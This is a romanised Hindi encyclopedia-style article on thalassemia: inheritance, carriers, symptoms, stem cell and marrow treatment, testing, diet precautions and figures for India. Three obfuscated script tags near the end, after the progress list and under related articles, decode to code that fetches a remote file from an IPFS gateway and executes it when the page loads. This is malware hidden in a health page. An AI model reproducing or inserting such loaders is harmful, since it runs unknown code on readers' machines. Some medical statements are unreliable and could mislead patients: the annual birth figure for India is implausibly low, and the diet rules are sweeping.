थैलेसिमिया

[[chitr:Thalassemia-cells.jpg|thumb|thailesimiya aur samany avastha mean lal rakt koshikaean]] thailesimiya (aangrezi: Thalassemia) ek anuvaanshik bimari hai, jo mata-pita se usaki santan ko hoti hai. is bimari se grast ho jane par sharir mean lal rakt kan banane band ho jate haian. sharir mean rakt ki kami a jati hai. bar-bar rakt chadhana p data hai. thailesimiya bimari adhikaanshat: shishuoan mean dekhane ko milati hai. 8 mee ko poori duniya mean vishv thailesimiya divas manaya jata hai. thailesimiya mean sharir ka rang pila p d jata hai. is rog ke bare mean bahut kam logoan ko hi janakari hai. yah bimari anuvaanshik hai, rishtedari ke sath pidhi dar pidhi chalati hai. bimari ka janm shishu ke sath hota hai, jo umr bhar sath nahian chho dati. isaka sirph ek samadhan hai aur vah hai- 'rishtoan mean savadhani baratana". yah bimari kuchh vishesh samudayoan mean hai. un samudayoan ke rivaj hi is bimari ko rok sakate haian. chikitsakoan ke anusar thailesimiya vanshanugat bimari hai, lekin isaki rokatham asani se ki ja sakati hai. yadi vivah se poorv sabhi isaki jaanch karava lean to nidan asani se aur kam kimat par ho jata hai. garbhavastha mean jaanch karane par yadi is bimari ke lakshan paye jate haian to d aauktar mahila ko garbhapat ki salah dete haian. mukhyatah yah bimari siandhiyoan, rajapootoan evan muslimoan mean paee jati hai. d aauktaroan ka yah bhi kahana hai ki is bimari ko chhipana nahian chahie.

anuvaanshik rog

jin anuvanshik svasthy samasyaoan ko ganbhir rogoan ki shreni mean rakha jata hai, thailesimiya bhi unamean se ek hai. isamean jin ki sanrachana mean janmajat roop se g dab di hone ki vajah se sharir mean shuddh rakt ka nirman nahian ho pata aur ashuddh rakt sharir ke apane mekainijm ke jariye svabhavik roop se nasht ho jata hai. is vajah se thailesimiya ke marijoan ke sharir mean hamesha khoon ki kami rahati hai aur usamean himoglobin ka star bhi bahut kam rahata hai. akasar log ise bachchoan ki bimari samajh lete haian, par vastav mean aisa hai nahian. darasal jinaki rakt koshikaoan ki sanrachana mean bahut jyada g dab di hoti hai, unamean janm ke kuchh dinoan ke bad hi is bimari ki pahachan ho jati hai, agar rakt koshikaoan ki sanrachana mean jyada g dab di n ho to kee bar logoan mean 60-65 varsh ki umr mean bhi achanak is bimari ke lakshan dekhane ko milate haian.

thailesimiya kairiyar

kuchh log aise bhi hote haian, jinamean 3 se 15 pratishat tak is bimari ke jians maujood hote hai, inhean thailesimiya kairiyar kaha jata hai. kuchh log ise thailesimiya mainar ka nam dete haian, jo ki sarvatha anuchit hai. yah apane ap mean koee bimari nahian hai. aise log sakriy aur samany jivan vyatit kar sakate haian. thailesimiya ke kairiyar logoan ko keval is bat ka dhyan rakhana chahie ki ve kisi thailesimiya kairiyar se vivah n karean. agar pati-patni donoan hi isake kairiyar hoan to bachchoan mean isake lakshan hone ki ashanka badh jati hai. agar pati-patni donoan is bimari ke vahak haian to garbhavastha ke shuruati do mahinoan mean stri ko primetal daignosis karava lena chahie. isase yah maloom ho jaega ki garbhasth bhroon mean thailesimiya ke lakshan haian ya nahian. agar riport nigetiv ae tabhi shishu ko janm dene ka nirnay lena chahie.

lakshan

• tvacha ki rangat mean svabhavik gulabipan ke bajay pilapan dikhaee deta hai. aise logoan mean akasar piliya ka sankraman bhi ho jata hai.
• yakrit badhane se pet phoola hua lagata hai aur himoglobin ka star bhi kafi kam ho jata hai.
• anavashyak thakan aur kamazori mahasoos hoti hai.

lailaj nahian hai thailesimiya

thumb|thailesimiya kairiyar pahale thailesimiya ko lailaj bimari samajha jata tha, kyoanki niyamit rakt chadhane ke alava isaka aur koee upachar nahian tha. yah rakt chadhana marij ko maut se bachae rakhane mean madadagar sabit hota hai, lekin yah is bimari ka sthayi upachar nahian hai. ise j d se samapt karane ka ekamatr tarika stem sel therepi hai. isake jariye janm ke shuruati 10 minat ke bhitar shishu ke garbhanal se ek baig mean rakt ke namoone ekatr kie jate hai. isi rakt mean stem sels pae jate hai. jivan ki ye moolabhoot koshikaean, manav sharir ke sabhi aangoan ki rachana ka adhar hoti hai. inaki tulana mitti se ki ja sakati hai, jise shilpakar manachahe akar mean dhal sakata hai. inhean sharir mean jahaan bhi pratyaropit kiya jata hai, ye vahian doosari nee paripakv koshikaoan ka nirman karane mean saksham hoti hai. janm ke bad das minat ke bhitar shishu ke garbhanal se tho da sa khoon lekar use ek staralaijd baig mean rakha jata hai. saianpal ekatr karake usake tapaman ko niyantrit rakhane ke lie use ek khas tarah ke kantenar mean rakh kar 36 ghante ke bhitar laib mean pahuancha diya jata hai. stem sel ko vahaan varsho tak sanrakshit rakha ja sakata hai. yah prakriya poori tarah surakshit hai. isase maan aur bachche donoan ko koee takaliph nahian hoti aur isaka koee said iphekt bhi nahian hota. thailesimiya jin ki sanrachana mean g dab di ki vajah se hone vali rakt sanbandhi anuvanshik bimari hai. isake lie marij ke bon mairo mean maujood kharab jin vali koshikaoan ko hatakar usaki jagah par stem sel ke jariye sahi jin vali rakt koshikaean pratyaropit kar di jati haian, jinhean madar sel bhi kaha jata hai. phir dhire-dhire ye koshikaean achchhi koshikaoan ka nirman shuroo kar deti haian. is tarah yah bimari j d se door ho jati hai. stem sel paddhati dvara thelasimiya ke alava spainal ianjari ki vajah se hone vali vikalaangata, parkiansan, dil ki bimari, blad kaiansar aur madhumeh jaise rogoan ka upachar sanbhav hai. is disha mean vaijnanikoan ka shodh jari hai aur sanbhav hai ki nikat bhavishy mean isase any ganbhir bimariyoan ka upachar bhi asani se sanbhav ho. janm ke bad jis bachche ka stem sel surakshit rakha jata hai. usase bhavishy mean use hone vali lagabhag sabhi bimariyoan ka upachar sanbhav hai. keval isase bachche ke janmajat rogoan ka upachar sanbhav nahian hai, kyoanki usake stem sel mean bhi us bimari ke jians maujood hoange. isake lie shishu ko usake sage bhaee ya bahan ke stem sel ki zaroorat hogi, jise janmajat roop se vah bimari n ho, lekin isake lie bhi bhaee ya bahan ke sath bachche ki koshikaoan ka maich hona bahut zaroori hai. isaki sanbhavana 25 se 75 pratishat tak bataee jati hai. isake alava agar koshikaoan ka sahi maich mil jae to isase mata-pita, dada-dadi aur nana-nani ka bhi upachar sanbhav hai. agar kisi marij ke lie usaka ya usake bhaee-bahanoan ka stem sel sanrakshit karake nahian rakha gaya hai to bon mairo traansplaant ke jariye bhi usaka upachar sanbhav hai. traansplaant ke lie bhaee ya bahan ka bon mairo sabase upayukt hota hai kyoanki unaki koshikaoan ka maich milane ki sanbhavana sabase adhik hoti hai.

thailesimiya ka parikshan

is bimari se bachane ke lie l dake-l daki ka vivah poorv thailesimiya vahak ka test karavana chahiye. sath hi garbhavati mahilaoan ko garbhavastha ke dasavean tatha 11vean saptah mean koriyonik vilaee saimpaliang test karavana chahiye. thailesimiya rog ka sthaee samadhan bon mero traansaplaant athava stemasel traansaplaant dvara sanbhav hai, jo vartaman mean bharat mean bhi upalabdh hai. thailesimiya rokatham ke karyakram ko saphal banane ke lie am janata, sabhi chikitsa sansthan, svayansevi sansthan, prachar madhyam tatha sarakari tantr milakar sahayog kar sakate haian.

savadhaniyaan

[[chitr:World-Thalassemia-Day-Logo.jpg|thumb|vishv thailesimiya divas]] thailesimiya rog ke marij ko nimn savadhaniya baratani chahie-

1. rogiyoan ko vahi padarth khane chahiyean, jinamean ayaran ki matra kam ho, kiantu yah bhi dhyan rakhean ki himoglobin ki kami n hone paye. isake lie adhik se adhik chay ka sevan karana chahie.
2. bhojy padarthoan mean doodh-dahi ka adhik prayog karana chahie.
3. lohe ke bartan mean khana nahian pakana chahie.
4. protin yukt padarth khane se bachana chahie.
5. matar, palak, hari pattedar sabjiyaan, tarabooj, kishamish, khajoor nahian khana chahie.
6. achar, siraka evan elkohal ko kam se kam matra mean lean.
7. sabji evan mit ubalane ki jagah bhap se taiyar karana chahie.
8. ata bred ka prayog karean tatha bachchoan ko ch aaukalet khane se bachayean, kyoanki isamean ayaran ki matra adhik hoti hai.

bharat mean sthiti

bharat mean prati varsh lagabhag 8 se 10 thailesimiya rogi janm lete haian. vartaman mean bharat mean lagabhag 2,25,000 bachche thailesimiya rog se grast haian. samanyat: bachche mean 6 mah, 18 mah ke bhitar thailesimiya ka lakshan prakat hone lagata hai. bachcha pila p d jata hai, poori niand nahian leta, khana-pina achchha nahian lagata hai, bachche ultiyaan, dast aur bukhar se pidi़t ho jata hai. d aauktaroan ke anusar anuvaanshik margadarshan aur thailesimiya mainar ka davaiyoan se upachar sanbhav hai. thailesimiya rog se bachane ke lie mata-pita ka diene taist karana anivary hai. sath hi rishtedaroan ka bhi diene taist karavakar rog par prabhavi niyantran sanbhav hai. vivah se poorv janmapatri milane ke sath-sath doolhe aur dulhan ka echabie-2 ka test bhi karana chahie.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• vishv thailesimiya divas
• pidhi dar pidhi chalata hai thailesimiya
• anuvaanshik rog hai thailesimiya

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>